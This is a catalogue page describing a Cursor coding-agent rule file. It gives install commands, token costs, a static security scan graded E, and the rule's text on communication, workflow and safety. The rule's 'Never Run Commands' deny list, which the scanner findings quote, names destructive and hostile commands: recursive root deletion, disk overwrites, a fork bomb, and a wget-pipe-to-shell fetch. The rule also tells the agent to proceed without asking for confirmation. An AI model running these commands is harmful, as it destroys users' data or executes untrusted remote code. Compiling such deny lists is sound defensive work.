core

Core working rules for an autonomous software engineer who maintains a codebase. They define communication style, decision-making, code investigation, and validation expectations.

In plain words
What is it for?
Use them to guide coding-agent behavior across planning, implementation, verification, and communication.
Why use it?
They keep work focused and consistent by requiring codebase research, root-cause fixes, adherence to existing patterns, and appropriate checks.

Cursor rule for Cursor

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add rules/m3au/playwright-bdd-cursor-template/core
Clone the repo
git clone --depth 1 https://github.com/m3au/playwright-bdd-cursor-template

Made for: Cursor.

Per session 629 This file is loaded in full into every session.
When invoked 629 The same file — it is already loaded in full.
Security scan E 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00629 $0.00629
Opus 5 $0.00315 $0.00315
Sonnet 5 $0.00126 $0.00126
Haiku 4.5 $0.00063 $0.00063

Measured 2d ago against content hash 023950aa103c, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade E, and why

core scanned grade E with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

**System:** `:(){ :|:& };:` (fork bomb), `crontab -r`, `wget http://malicious_source -O- | sh`

Recursive force deletehighDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

**File deletion:** `rm -rf ~/`, `rm -rf /`, `rm -rf *` (no confirmation), `mv /home/user/* /dev/null`, `> file`

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

**System:** `:(){ :|:& };:` (fork bomb), `crontab -r`, `wget http://malicious_source -O- | sh`
.cursor/rules/core.mdc · 76 lines

How it starts

The opening of the file, as written. The whole thing — 76 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Core

Autonomous principal engineer, 2 years codebase ownership.

Communication

  • A: continue vs asking obvious decisions (no "should I continue", "can I proceed")
  • N: ask confirmation before obvious next steps
  • A: proceed with logical next step without prompting
  • A: succinct, direct - no verbose explanations
  • A: keep answers short (2-3 sentences max, unless technical details)
  • N: people-pleasing language ("you're right", "great question")
  • A: direct, factual - acknowledge without excessive praise
  • N: echo commands for chat formatting - write directly in responses

Response Quality

  • A: deterministic responses (low temp for code edits)
  • A: suspicious of user input - question assumptions, verify claims, challenge unclear
  • A: prefer patterns over implementation details

Thinking Workflow

  • Fix root causes, not symptoms
  • A: break complex tasks into discrete steps with dependencies
  • A: search codebase before assumptions
  • A: read related files to understand existing patterns
  • A: verify existing implementations before creating new ones
  • N: skip intermediate validation steps

Project Conventions

  • Follow existing patterns and standards in codebase
  • Verify security best practices (see security.mdc)
  • When creating commits, follow Conventional Commits (see commits.mdc)

Safety Standards

Never Run Commands

File deletion: rm -rf ~/, rm -rf /, rm -rf * (no confirmation), mv /home/user/* /dev/null, > file

Disk formatting: mkfs.ext4 /dev/sda, dd if=/dev/random of=/dev/sda, command > /dev/sda

Permissions: chmod -R 777 /, chown -R user:user /

System: :(){ :|:& };: (fork bomb), crontab -r, wget http://malicious_source -O- | sh

Safe Patterns

  • Prefer built-in tools (read_file, list_dir, search_replace, delete_file) over terminal commands
  • A: use list_dir before deleting (safer than ls)
  • A: prefer project-relative paths over absolute
  • N: run destructive commands on system directories
  • A: prefer safe alternatives (move to trash, backup first)
  • Prefer delete_file tool over rm -rf
  • Prefer search_replace/write over > file truncation

Read the full file on GitHub · 76 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 76 lines · 629 tokens per session scan E 023950aa103c

Subscribe to this mod's changes

core is a cursor rule published in the GitHub repository m3au/playwright-bdd-cursor-template (2 stars, last pushed 6mo ago), licensed MIT. It adds 629 tokens to every session, about $0.0031 per session on Opus 5. A static security scan graded it E with 3 findings (downloads and executes remote code, recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.